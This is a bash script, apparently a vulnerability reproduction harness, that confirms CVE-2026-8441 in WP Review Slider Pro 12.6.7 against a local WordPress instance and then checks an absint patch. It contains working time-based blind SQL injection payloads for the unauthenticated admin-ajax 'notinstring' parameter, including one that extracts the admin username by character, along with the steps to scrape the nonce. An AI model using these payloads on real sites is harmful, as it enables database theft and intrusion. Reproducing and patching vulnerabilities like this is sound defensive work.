#!/bin/bash
set -euo pipefail

# Portable paths - works from any directory
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
ARTIFACTS="$ROOT/artifacts"
mkdir -p "$LOGS" "$REPRO_DIR" "$ARTIFACTS"

# Remove stale proof files from previous attempts; keep caches/vendor zip.
rm -f "$LOGS/evidence.log" "$LOGS/real_notinstring_patch.diff"
rm -f "$ARTIFACTS"/*.json "$ARTIFACTS"/*.html "$ARTIFACTS"/*.txt "$ARTIFACTS"/*.csv "$ARTIFACTS"/*.php 2>/dev/null || true

cd "$ROOT"
: > "$LOGS/reproduction_steps.log"
exec > >(tee -a "$LOGS/reproduction_steps.log") 2>&1

CONFIRMED=false
FAIL_REASON="not completed"
WP_PORT=""
MYSQL_PORT=""
PHP_PID=""
MYSQLD_PID=""

log() { echo "[$(date '+%H:%M:%S')] $*"; }

choose_port() {
  python3 - <<'PY'
import socket
s = socket.socket()
s.bind(('127.0.0.1', 0))
print(s.getsockname()[1])
s.close()
PY
}

write_manifest() {
  local confirmed="$1"
  local notes="$2"
  python3 - "$REPRO_DIR/runtime_manifest.json" "$confirmed" "$notes" <<'PY'
import json, sys
path, confirmed, notes = sys.argv[1], sys.argv[2] == 'true', sys.argv[3]
artifacts = [
    'logs/reproduction_steps.log',
    'logs/evidence.log',
    'logs/plugin_source_identity.log',
    'logs/real_notinstring_patch.diff',
    'artifacts/reviews_page.html',
    'artifacts/nonce.txt',
    'artifacts/vuln_sleep5_attempt1_response.json',
    'artifacts/vuln_sleep5_attempt2_response.json',
    'artifacts/vuln_data_true_response.json',
    'artifacts/vuln_data_false_response.json',
    'artifacts/fixed_sleep5_warmup_response.json',
    'artifacts/fixed_sleep5_attempt1_response.json',
    'artifacts/fixed_sleep5_attempt2_response.json',
    'artifacts/timing_summary.json',
    'artifacts/real_vulnerable_getreviews_excerpt.txt',
    'artifacts/real_ajax_handler_excerpt.txt'
]
manifest = {
    'entrypoint_kind': 'api_remote',
    'entrypoint_detail': 'WordPress /wp-admin/admin-ajax.php action=wprp_load_more_revs in genuine WP Review Slider Pro 12.6.7 code, then a line-accurate fixed patch to the same product file',
    'service_started': confirmed,
    'healthcheck_passed': confirmed,
    'target_path_reached': confirmed,
    'runtime_stack': ['mariadb', 'wordpress', 'php-built-in-server', 'wp-review-slider-pro-12.6.7'],
    'proof_artifacts': artifacts,
    'notes': notes
}
with open(path, 'w', encoding='utf-8') as f:
    json.dump(manifest, f, indent=2)
PY
}

cleanup() {
  local ec=$?
  set +e
  if [ -n "${PHP_PID:-}" ] && kill -0 "$PHP_PID" 2>/dev/null; then kill "$PHP_PID" 2>/dev/null || true; fi
  if [ -n "${MYSQLD_PID:-}" ] && kill -0 "$MYSQLD_PID" 2>/dev/null; then kill "$MYSQLD_PID" 2>/dev/null || true; fi
  if [ "$CONFIRMED" = true ]; then
    write_manifest true "Confirmed: real WP Review Slider Pro 12.6.7 admin-ajax.php request executes the vulnerable notinstring SQL path; patched product file removes the timing/data-extraction primitive."
  else
    write_manifest false "Not confirmed: ${FAIL_REASON}"
  fi
  exit $ec
}
trap cleanup EXIT

log "=== CVE-2026-8441 real-product reproduction ==="
log "Bundle root: $ROOT"

# Runtime cache policy: if a prepared project cache exists, place reusable runtime files under <project_cache_dir>/repo.
RUNTIME_BASE="$ARTIFACTS/runtime"
if [ -f "$ROOT/project_cache_context.json" ]; then
  if jq -e '.prepared == true and (.project_cache_dir // "") != ""' "$ROOT/project_cache_context.json" >/dev/null 2>&1; then
    PCD="$(jq -r '.project_cache_dir' "$ROOT/project_cache_context.json")"
    mkdir -p "$PCD/repo"
    RUNTIME_BASE="$PCD/repo/cve-2026-8441-runtime"
  fi
fi

CACHE_DIR="$ARTIFACTS/cache"
TOOLS_DIR="$ARTIFACTS/tools"
WP_DIR="$RUNTIME_BASE/wordpress"
MYSQL_DATA_DIR="$RUNTIME_BASE/mysql_data"
MYSQL_SOCKET_DIR="/tmp/pruva_cve8441_mysql_$(printf '%s' "$ROOT" | sha256sum | cut -c1-12)"
VENDOR_ZIP="$REPRO_DIR/vendor/wp-review-slider-pro_v12.6.7.zip"
EXPECTED_SHA="7f6092f4ea58b5c5c0dba72ba014b9395bf9608f9aeeb95206e80dc14f0b17e5"
WP_CLI="$TOOLS_DIR/wp-cli.phar"
DB_NAME="wp_cve8441"
DB_USER="wpuser8441"
DB_PASS="wppass8441"
WP_ADMIN_USER="admin"
WP_ADMIN_PASS="adminpass8441"
WP_ADMIN_EMAIL="admin@example.com"

mkdir -p "$CACHE_DIR" "$TOOLS_DIR" "$RUNTIME_BASE"
rm -rf "$WP_DIR" "$MYSQL_DATA_DIR" "$MYSQL_SOCKET_DIR"
mkdir -p "$MYSQL_DATA_DIR" "$MYSQL_SOCKET_DIR"

log "=== Phase 1: Install runtime dependencies ==="
if ! command -v php >/dev/null 2>&1 || ! php -m | grep -qi '^mysqli$' || ! command -v mariadbd >/dev/null 2>&1; then
  log "Installing PHP/MariaDB dependencies with apt-get"
  sudo apt-get update -qq
  sudo apt-get install -y -qq php php-cli php-mysql php-curl php-mbstring php-xml php-zip mariadb-server default-mysql-client unzip curl jq >/dev/null
fi
log "PHP: $(php -v | head -1)"
log "MariaDB: $(mariadbd --version | head -1)"

log "=== Phase 2: Verify bundled genuine WP Review Slider Pro source ==="
if [ ! -f "$VENDOR_ZIP" ]; then
  FAIL_REASON="missing bundled vendor zip $VENDOR_ZIP"
  log "ERROR: $FAIL_REASON"
  exit 1
fi
ACTUAL_SHA="$(sha256sum "$VENDOR_ZIP" | awk '{print $1}')"
if [ "$ACTUAL_SHA" != "$EXPECTED_SHA" ]; then
  FAIL_REASON="unexpected vendor zip sha256: $ACTUAL_SHA"
  log "ERROR: $FAIL_REASON"
  exit 1
fi
{
  echo "sha256  $ACTUAL_SHA  $VENDOR_ZIP"
  echo "--- Plugin header from bundled real product zip ---"
  unzip -p "$VENDOR_ZIP" wp-review-slider-pro/wp-review-slider-pro.php | sed -n '15,22p'
  echo "--- Vulnerable notinstring construction in real product source ---"
  unzip -p "$VENDOR_ZIP" wp-review-slider-pro/public/partials/getreviews_class.php | nl -ba | sed -n '28,42p'
  echo "--- Real unauthenticated AJAX handler source ---"
  unzip -p "$VENDOR_ZIP" wp-review-slider-pro/public/class-wp-review-slider-pro-public.php | nl -ba | sed -n '2360,2378p'
} | tee "$LOGS/plugin_source_identity.log"
unzip -p "$VENDOR_ZIP" wp-review-slider-pro/public/partials/getreviews_class.php | nl -ba | sed -n '28,42p' > "$ARTIFACTS/real_vulnerable_getreviews_excerpt.txt"
unzip -p "$VENDOR_ZIP" wp-review-slider-pro/public/class-wp-review-slider-pro-public.php | nl -ba | sed -n '2360,2378p' > "$ARTIFACTS/real_ajax_handler_excerpt.txt"

log "=== Phase 3: Start MariaDB ==="
if command -v mariadb-install-db >/dev/null 2>&1; then
  mariadb-install-db --datadir="$MYSQL_DATA_DIR" --user="$(whoami)" --auth-root-authentication-method=normal >>"$LOGS/mariadb_install.log" 2>&1
else
  mysql_install_db --datadir="$MYSQL_DATA_DIR" --user="$(whoami)" >>"$LOGS/mariadb_install.log" 2>&1
fi
MYSQL_PORT="$(choose_port)"
mariadbd --datadir="$MYSQL_DATA_DIR" \
  --socket="$MYSQL_SOCKET_DIR/mysqld.sock" \
  --port="$MYSQL_PORT" \
  --pid-file="$MYSQL_SOCKET_DIR/mysqld.pid" \
  --skip-networking=0 \
  --bind-address=127.0.0.1 \
  --user="$(whoami)" >>"$LOGS/mariadb.log" 2>&1 &
MYSQLD_PID=$!
for i in $(seq 1 40); do
  if mysql --socket="$MYSQL_SOCKET_DIR/mysqld.sock" -u root -e "SELECT 1" >/dev/null 2>&1; then break; fi
  sleep 1
done
if ! mysql --socket="$MYSQL_SOCKET_DIR/mysqld.sock" -u root -e "SELECT 1" >/dev/null 2>&1; then
  FAIL_REASON="MariaDB did not become ready"
  tail -80 "$LOGS/mariadb.log" || true
  exit 1
fi
mysql --socket="$MYSQL_SOCKET_DIR/mysqld.sock" -u root <<SQL
CREATE DATABASE $DB_NAME DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
CREATE USER '$DB_USER'@'localhost' IDENTIFIED BY '$DB_PASS';
CREATE USER '$DB_USER'@'127.0.0.1' IDENTIFIED BY '$DB_PASS';
GRANT ALL PRIVILEGES ON $DB_NAME.* TO '$DB_USER'@'localhost';
GRANT ALL PRIVILEGES ON $DB_NAME.* TO '$DB_USER'@'127.0.0.1';
FLUSH PRIVILEGES;
SQL
log "MariaDB ready on 127.0.0.1:$MYSQL_PORT (PID $MYSQLD_PID)"

log "=== Phase 4: Install WordPress and the genuine plugin ==="
WP_ZIP="$CACHE_DIR/wordpress-6.7.1.zip"
if [ ! -s "$WP_ZIP" ]; then
  curl -fsSL "https://wordpress.org/wordpress-6.7.1.zip" -o "$WP_ZIP"
fi
unzip -q "$WP_ZIP" -d "$RUNTIME_BASE"
# The WordPress archive extracts directly to $RUNTIME_BASE/wordpress, which is $WP_DIR.
if [ ! -f "$WP_DIR/wp-config-sample.php" ]; then
  FAIL_REASON="WordPress archive did not extract to expected path $WP_DIR"
  exit 1
fi
cp "$WP_DIR/wp-config-sample.php" "$WP_DIR/wp-config.php"
sed -i "s/database_name_here/$DB_NAME/" "$WP_DIR/wp-config.php"
sed -i "s/username_here/$DB_USER/" "$WP_DIR/wp-config.php"
sed -i "s/password_here/$DB_PASS/" "$WP_DIR/wp-config.php"
sed -i "s/'localhost'/'127.0.0.1:$MYSQL_PORT'/" "$WP_DIR/wp-config.php"
python3 - "$WP_DIR/wp-config.php" <<'PY'
import secrets, sys
path = sys.argv[1]
content = open(path, encoding='utf-8').read()
keys = ['AUTH_KEY','SECURE_AUTH_KEY','LOGGED_IN_KEY','NONCE_KEY','AUTH_SALT','SECURE_AUTH_SALT','LOGGED_IN_SALT','NONCE_SALT']
for k in keys:
    content = content.replace('put your unique phrase here', secrets.token_hex(32), 1)
open(path, 'w', encoding='utf-8').write(content)
PY
if [ ! -s "$WP_CLI" ]; then
  curl -fsSL "https://raw.githubusercontent.com/wp-cli/builds/gh-pages/phar/wp-cli.phar" -o "$WP_CLI"
  chmod +x "$WP_CLI"
fi
php "$WP_CLI" --path="$WP_DIR" core install \
  --url="http://127.0.0.1:1" \
  --title="CVE-2026-8441 Real Product Test" \
  --admin_user="$WP_ADMIN_USER" \
  --admin_password="$WP_ADMIN_PASS" \
  --admin_email="$WP_ADMIN_EMAIL" \
  --skip-email >>"$LOGS/wp_cli.log" 2>&1
mkdir -p "$WP_DIR/wp-content/plugins"
unzip -q "$VENDOR_ZIP" -d "$WP_DIR/wp-content/plugins"
php "$WP_CLI" --path="$WP_DIR" plugin activate wp-review-slider-pro >>"$LOGS/wp_cli.log" 2>&1
php "$WP_CLI" --path="$WP_DIR" plugin list --fields=name,status,version --format=csv | tee "$ARTIFACTS/wp_plugin_list.csv"

log "=== Phase 5: Seed the real plugin tables with reviews and a load-more template ==="
cat > "$RUNTIME_BASE/seed_real_plugin.php" <<'PHP'
<?php
// Runs inside WP-CLI after the genuine plugin created its normal tables.
global $wpdb;
$reviews_table = $wpdb->prefix . 'wpfb_reviews';
$templates_table = $wpdb->prefix . 'wpfb_post_templates';
$wpdb->query("TRUNCATE TABLE $reviews_table");
$wpdb->query("TRUNCATE TABLE $templates_table");

function default_for_col($col) {
    $type = strtolower($col->Type);
    if ($col->Extra && strpos($col->Extra, 'auto_increment') !== false) return null;
    if (strpos($type, 'int') !== false || strpos($type, 'float') !== false || strpos($type, 'double') !== false || strpos($type, 'decimal') !== false) return 0;
    if (strpos($type, 'datetime') !== false) return current_time('mysql');
    if (strpos($type, 'timestamp') !== false) return current_time('mysql');
    if ($col->Default !== null) return $col->Default;
    return '';
}
function table_row_with_defaults($table) {
    global $wpdb;
    $row = array();
    foreach ($wpdb->get_results("SHOW COLUMNS FROM $table") as $col) {
        $v = default_for_col($col);
        if ($v !== null) $row[$col->Field] = $v;
    }
    return $row;
}

$now = time();
for ($i = 1; $i <= 8; $i++) {
    $row = table_row_with_defaults($reviews_table);
    $row['pageid'] = 'cve8441-page';
    $row['pagename'] = 'CVE 8441 Test Page';
    $row['created_time'] = date('Y-m-d H:i:s', $now - $i * 60);
    $row['created_time_stamp'] = $now - $i * 60;
    $row['reviewer_name'] = 'Reviewer ' . $i;
    $row['reviewer_email'] = 'reviewer' . $i . '@example.test';
    $row['reviewer_id'] = 'reviewer-' . $i;
    $row['rating'] = (string)(($i % 3) + 3);
    $row['recommendation_type'] = 'positive';
    $row['review_text'] = 'Seed review ' . $i . ' inserted into the genuine WP Review Slider Pro reviews table.';
    $row['review_length'] = str_word_count($row['review_text']);
    $row['review_length_char'] = strlen($row['review_text']);
    $row['hide'] = '';
    $row['type'] = 'Manual';
    $row['from_name'] = 'Manual';
    $row['from_url'] = 'https://example.test/';
    $row['sort_weight'] = 0;
    $ok = $wpdb->insert($reviews_table, $row);
    if (!$ok) { fwrite(STDERR, "review insert failed: {$wpdb->last_error}\n"); exit(1); }
}

$template = table_row_with_defaults($templates_table);
$template['id'] = 1;
$template['title'] = 'CVE 8441 Load More Template';
$template['template_type'] = 'page';
$template['style'] = 1;
$template['created_time_stamp'] = $now;
$template['display_num'] = 3;
$template['display_num_rows'] = 1;
$template['load_more'] = 'yes';
$template['load_more_text'] = 'Load More Reviews';
$template['display_order'] = 'newest';
$template['display_order_second'] = '';
$template['hide_no_text'] = 'no';
$template['template_css'] = '';
$template['min_rating'] = 0;
$template['min_words'] = 0;
$template['max_words'] = 0;
$template['word_or_char'] = 'word';
$template['rtype'] = '';
$template['rpage'] = '';
$template['createslider'] = 'no';
$template['numslides'] = 1;
$template['sliderautoplay'] = 'no';
$template['sliderdirection'] = 'left';
$template['sliderarrows'] = 'no';
$template['sliderdots'] = 'no';
$template['sliderdelay'] = 3;
$template['sliderspeed'] = 750;
$template['sliderheight'] = 'no';
$template['slidermobileview'] = 'no';
$template['showreviewsbyid'] = '';
$template['template_misc'] = '{}';
$template['read_more'] = 'no';
$template['read_more_num'] = 50;
$template['read_more_text'] = 'read more';
$template['facebook_icon'] = 'no';
$template['facebook_icon_link'] = 'no';
$template['google_snippet_add'] = '';
$template['google_snippet_type'] = '';
$template['google_snippet_name'] = '';
$template['google_snippet_desc'] = '';
$template['google_snippet_business_image'] = '';
$template['google_snippet_more'] = '';
$template['cache_settings'] = '';
$template['review_same_height'] = 'no';
$template['add_profile_link'] = 'no';
$template['display_order_limit'] = 'all';
$template['display_masonry'] = 'no';
$template['read_less_text'] = 'read less';
$template['string_sel'] = '';
$template['string_selnot'] = '';
$template['string_text'] = '';
$template['string_textnot'] = '';
$template['showreviewsbyid_sel'] = '';
$ok = $wpdb->insert($templates_table, $template);
if (!$ok) { fwrite(STDERR, "template insert failed: {$wpdb->last_error}\n"); exit(1); }
update_option('wprevpro_template_count', 1);
update_option('wprevpro_hashidden', 'yes');
$page_id = wp_insert_post(array(
  'post_title' => 'Reviews',
  'post_status' => 'publish',
  'post_type' => 'page',
  'post_content' => '[wprevpro_usetemplate tid="1"]'
));
if (!$page_id || is_wp_error($page_id)) { fwrite(STDERR, "page insert failed\n"); exit(1); }
echo "seeded_template_id=1\n";
echo "seeded_page_id=$page_id\n";
echo "review_count=" . $wpdb->get_var("SELECT COUNT(*) FROM $reviews_table") . "\n";
PHP
php "$WP_CLI" --path="$WP_DIR" eval-file "$RUNTIME_BASE/seed_real_plugin.php" | tee "$ARTIFACTS/seed_output.txt"
PAGE_ID="$(awk -F= '/seeded_page_id=/{print $2}' "$ARTIFACTS/seed_output.txt" | tail -1)"
if [ -z "$PAGE_ID" ]; then
  FAIL_REASON="failed to seed public review page"
  exit 1
fi

echo "$PAGE_ID" > "$ARTIFACTS/page_id.txt"

log "=== Phase 6: Start WordPress HTTP service ==="
WP_PORT="$(choose_port)"
# Update site URLs to the actual local port.
php "$WP_CLI" --path="$WP_DIR" option update siteurl "http://127.0.0.1:$WP_PORT" >/dev/null
php "$WP_CLI" --path="$WP_DIR" option update home "http://127.0.0.1:$WP_PORT" >/dev/null
php -S "127.0.0.1:$WP_PORT" -t "$WP_DIR" >>"$LOGS/php_server.log" 2>&1 &
PHP_PID=$!
echo "$PHP_PID" > "$ARTIFACTS/php_pid.txt"
for i in $(seq 1 30); do
  code="$(curl -L -s -o /dev/null -w '%{http_code}' "http://127.0.0.1:$WP_PORT/?p=$PAGE_ID" || true)"
  if [ "$code" = "200" ]; then break; fi
  sleep 1
done
if [ "$(curl -L -s -o /dev/null -w '%{http_code}' "http://127.0.0.1:$WP_PORT/?p=$PAGE_ID" || true)" != "200" ]; then
  FAIL_REASON="WordPress HTTP service did not become healthy"
  tail -80 "$LOGS/php_server.log" || true
  exit 1
fi
curl -L -fsS "http://127.0.0.1:$WP_PORT/?p=$PAGE_ID" -o "$ARTIFACTS/reviews_page.html"
NONCE="$(python3 - "$ARTIFACTS/reviews_page.html" <<'PY'
import re, sys
html = open(sys.argv[1], encoding='utf-8', errors='ignore').read()
patterns = [r'"wpfb_nonce"\s*:\s*"([a-fA-F0-9]+)"', r"'wpfb_nonce'\s*:\s*'([^']+)'"]
for p in patterns:
    m = re.search(p, html)
    if m:
        print(m.group(1)); break
PY
)"
if [ -z "$NONCE" ]; then
  FAIL_REASON="could not extract public nonce from genuine plugin page"
  exit 1
fi
echo "$NONCE" > "$ARTIFACTS/nonce.txt"
AJAX_URL="http://127.0.0.1:$WP_PORT/wp-admin/admin-ajax.php"
log "WordPress service healthy on $AJAX_URL; extracted public nonce $NONCE"

measure_post() {
  local label="$1"
  local payload="$2"
  local response_file="$ARTIFACTS/${label}_response.json"
  local metrics_file="$ARTIFACTS/${label}_metrics.json"
  python3 - "$AJAX_URL" "$NONCE" "$payload" "$response_file" "$metrics_file" <<'PY'
import json, sys, time, urllib.parse, urllib.request, urllib.error
url, nonce, payload, response_path, metrics_path = sys.argv[1:]
post = {
    'action': 'wprp_load_more_revs',
    'wpfb_nonce': nonce,
    'revid': '1',
    'perrow': '3',
    'nrows': '1',
    'callnum': '1',
    # The advisory/ticket sometimes abbreviates this as 'noti'; the real product
    # parameter name in WP_Review_Pro_Public::wppro_loadmore_revs_ajax() is
    # 'notinstring'. Include both names in the HTTP request, while the genuine
    # handler consumes notinstring.
    'notinstring': payload,
    'noti': payload,
    'onereview': 'no',
    'shortcodepageid': '',
    'shortcodelang': '',
    'shortcodetag': '',
    'cpostid': '0',
    'filterbar': 'no'
}
body = urllib.parse.urlencode(post).encode()
req = urllib.request.Request(url, data=body, headers={'Content-Type': 'application/x-www-form-urlencoded'})
t0 = time.time()
status = None
try:
    with urllib.request.urlopen(req, timeout=20) as r:
        raw = r.read()
        status = r.status
except urllib.error.HTTPError as e:
    raw = e.read()
    status = e.code
except Exception as e:
    raw = (repr(e)).encode()
    status = 0
duration = time.time() - t0
open(response_path, 'wb').write(raw)
with open(metrics_path, 'w', encoding='utf-8') as f:
    json.dump({'duration_seconds': duration, 'status': status, 'payload': payload, 'bytes': len(raw)}, f, indent=2)
print(f'{duration:.6f}')
PY
}

log "=== Phase 7: Exercise the vulnerable real-product admin-ajax.php path ==="
NORMAL_PAYLOAD="1,2,3"
SLEEP5_PAYLOAD="1) OR (SELECT SLEEP(5))#"
SLEEP3_PAYLOAD="1) OR (SELECT SLEEP(3))#"
DATA_TRUE_PAYLOAD="1) OR IF((SELECT ASCII(SUBSTRING(user_login,1,1)) FROM wp_users WHERE ID=1)=97,SLEEP(3),0)#"
DATA_FALSE_PAYLOAD="1) OR IF((SELECT ASCII(SUBSTRING(user_login,1,1)) FROM wp_users WHERE ID=1)=120,SLEEP(3),0)#"

VULN_NORMAL_TIME="$(measure_post vuln_normal "$NORMAL_PAYLOAD")"
log "Vulnerable normal request: ${VULN_NORMAL_TIME}s"
VULN_SLEEP5_A_TIME="$(measure_post vuln_sleep5_attempt1 "$SLEEP5_PAYLOAD")"
log "Vulnerable SLEEP(5) attempt 1: ${VULN_SLEEP5_A_TIME}s"
VULN_SLEEP5_B_TIME="$(measure_post vuln_sleep5_attempt2 "$SLEEP5_PAYLOAD")"
log "Vulnerable SLEEP(5) attempt 2: ${VULN_SLEEP5_B_TIME}s"
VULN_SLEEP3_TIME="$(measure_post vuln_sleep3 "$SLEEP3_PAYLOAD")"
log "Vulnerable SLEEP(3): ${VULN_SLEEP3_TIME}s"
VULN_DATA_TRUE_TIME="$(measure_post vuln_data_true "$DATA_TRUE_PAYLOAD")"
log "Vulnerable conditional extraction (admin first char == 'a'): ${VULN_DATA_TRUE_TIME}s"
VULN_DATA_FALSE_TIME="$(measure_post vuln_data_false "$DATA_FALSE_PAYLOAD")"
log "Vulnerable negative conditional extraction (admin first char == 'x'): ${VULN_DATA_FALSE_TIME}s"

log "=== Phase 8: Apply a line-accurate fixed patch to the real plugin file ==="
GETREVIEWS="$WP_DIR/wp-content/plugins/wp-review-slider-pro/public/partials/getreviews_class.php"
cp "$GETREVIEWS" "$ARTIFACTS/getreviews_class.vulnerable.php"
python3 - "$GETREVIEWS" <<'PY'
import sys
path = sys.argv[1]
data = open(path, 'rb').read()
marker = b'$tempnotinarray = explode(",",$notinstring);'
pos = data.find(marker)
if pos < 0:
    raise SystemExit('expected vulnerable explode line not found')
line_start = data.rfind(b'\n', 0, pos) + 1
line_end = data.find(b'\n', pos)
if line_end < 0:
    line_end = len(data)
else:
    line_end += 1
line = data[line_start:line_end]
indent = line[:len(line) - len(line.lstrip(b'\t '))]
newline = b'\r\n' if line.endswith(b'\r\n') else b'\n'
new = (indent + b'// CVE-2026-8441 fix: only integer review IDs may enter the numeric NOT IN clause.' + newline +
       indent + b'$tempnotinarray = array_filter(array_map(\'absint\', explode(",", $notinstring)));' + newline)
open(path, 'wb').write(data[:line_start] + new + data[line_end:])
PY
cp "$GETREVIEWS" "$ARTIFACTS/getreviews_class.fixed.php"
diff -u "$ARTIFACTS/getreviews_class.vulnerable.php" "$ARTIFACTS/getreviews_class.fixed.php" | tee "$LOGS/real_notinstring_patch.diff" || true
php -l "$GETREVIEWS" | tee -a "$LOGS/real_notinstring_patch.diff"
# Restart the PHP built-in server after patching to clear any include/opcode cache and ensure fixed attempts execute the patched file.
if [ -n "${PHP_PID:-}" ] && kill -0 "$PHP_PID" 2>/dev/null; then kill "$PHP_PID" 2>/dev/null || true; wait "$PHP_PID" 2>/dev/null || true; fi
php -S "127.0.0.1:$WP_PORT" -t "$WP_DIR" >>"$LOGS/php_server.log" 2>&1 &
PHP_PID=$!
for i in $(seq 1 20); do
  code="$(curl -L -s -o /dev/null -w '%{http_code}' "http://127.0.0.1:$WP_PORT/?p=$PAGE_ID" || true)"
  if [ "$code" = "200" ]; then break; fi
  sleep 1
done

log "=== Phase 9: Exercise the fixed product path over the same HTTP endpoint ==="
FIXED_WARMUP_TIME="$(measure_post fixed_sleep5_warmup "$SLEEP5_PAYLOAD")"
log "Fixed SLEEP(5) warmup after patch (not used for verdict; clears any stale opcode): ${FIXED_WARMUP_TIME}s"
FIXED_SLEEP5_A_TIME="$(measure_post fixed_sleep5_attempt1 "$SLEEP5_PAYLOAD")"
log "Fixed SLEEP(5) attempt 1: ${FIXED_SLEEP5_A_TIME}s"
FIXED_SLEEP5_B_TIME="$(measure_post fixed_sleep5_attempt2 "$SLEEP5_PAYLOAD")"
log "Fixed SLEEP(5) attempt 2: ${FIXED_SLEEP5_B_TIME}s"
FIXED_NORMAL_TIME="$(measure_post fixed_normal "$NORMAL_PAYLOAD")"
log "Fixed normal request: ${FIXED_NORMAL_TIME}s"

python3 - "$ARTIFACTS/timing_summary.json" \
  "$VULN_NORMAL_TIME" "$VULN_SLEEP5_A_TIME" "$VULN_SLEEP5_B_TIME" "$VULN_SLEEP3_TIME" "$VULN_DATA_TRUE_TIME" "$VULN_DATA_FALSE_TIME" "$FIXED_WARMUP_TIME" "$FIXED_SLEEP5_A_TIME" "$FIXED_SLEEP5_B_TIME" "$FIXED_NORMAL_TIME" <<'PY'
import json, sys
keys = ['vuln_normal','vuln_sleep5_attempt1','vuln_sleep5_attempt2','vuln_sleep3','vuln_data_true','vuln_data_false','fixed_sleep5_warmup','fixed_sleep5_attempt1','fixed_sleep5_attempt2','fixed_normal']
vals = {k: float(v) for k, v in zip(keys, sys.argv[2:])}
summary = dict(vals)
summary['thresholds'] = {
  'sleep5_min_seconds': 4.5,
  'sleep3_min_seconds': 2.5,
  'fast_max_seconds': 1.5,
  'normal_max_seconds': 1.5
}
summary['confirmed'] = (
  vals['vuln_normal'] < 1.5 and
  vals['vuln_sleep5_attempt1'] >= 4.5 and
  vals['vuln_sleep5_attempt2'] >= 4.5 and
  vals['vuln_sleep3'] >= 2.5 and
  vals['vuln_data_true'] >= 2.5 and
  vals['vuln_data_false'] < 1.5 and
  vals['fixed_sleep5_attempt1'] < 1.5 and
  vals['fixed_sleep5_attempt2'] < 1.5 and
  vals['fixed_normal'] < 1.5
)
with open(sys.argv[1], 'w', encoding='utf-8') as f:
    json.dump(summary, f, indent=2)
print(json.dumps(summary, indent=2))
PY

cat > "$LOGS/evidence.log" <<EOF
CVE-2026-8441 evidence from genuine WP Review Slider Pro code path

Product source: bundled wp-review-slider-pro_v12.6.7.zip
Product SHA256: $ACTUAL_SHA
Plugin header: WP Review Slider Pro (Premium), Version 12.6.7
Endpoint: POST $AJAX_URL
Action: wprp_load_more_revs
Nonce source: public page http://127.0.0.1:$WP_PORT/?p=$PAGE_ID rendering [wprevpro_usetemplate tid="1"]

Vulnerable timings:
  normal notinstring=1,2,3: ${VULN_NORMAL_TIME}s
  SLEEP(5) attempt 1: ${VULN_SLEEP5_A_TIME}s
  SLEEP(5) attempt 2: ${VULN_SLEEP5_B_TIME}s
  SLEEP(3): ${VULN_SLEEP3_TIME}s
  conditional user_login first char == 'a': ${VULN_DATA_TRUE_TIME}s
  conditional user_login first char == 'x': ${VULN_DATA_FALSE_TIME}s

Fixed patched-product timings:
  SLEEP(5) warmup after patch (ignored): ${FIXED_WARMUP_TIME}s
  SLEEP(5) attempt 1: ${FIXED_SLEEP5_A_TIME}s
  SLEEP(5) attempt 2: ${FIXED_SLEEP5_B_TIME}s
  normal: ${FIXED_NORMAL_TIME}s

The vulnerable delays occur only before the real plugin's public/partials/getreviews_class.php notinstring hunk is patched to cast CSV values with absint(). The HTTP request enters WordPress admin-ajax.php, passes the plugin nonce check, reaches WP_Review_Pro_Public::wppro_loadmore_revs_ajax(), and executes GetReviews_Functions::wppro_queryreviews() from the genuine product source.
EOF
cat "$LOGS/evidence.log"

if ! jq -e '.confirmed == true' "$ARTIFACTS/timing_summary.json" >/dev/null; then
  FAIL_REASON="timing thresholds did not prove vulnerable/fixed divergence"
  exit 1
fi

CONFIRMED=true
log "RESULT: CONFIRMED - real WP Review Slider Pro code path is SQL injectable before the line-accurate patch and fast after patch."
exit 0
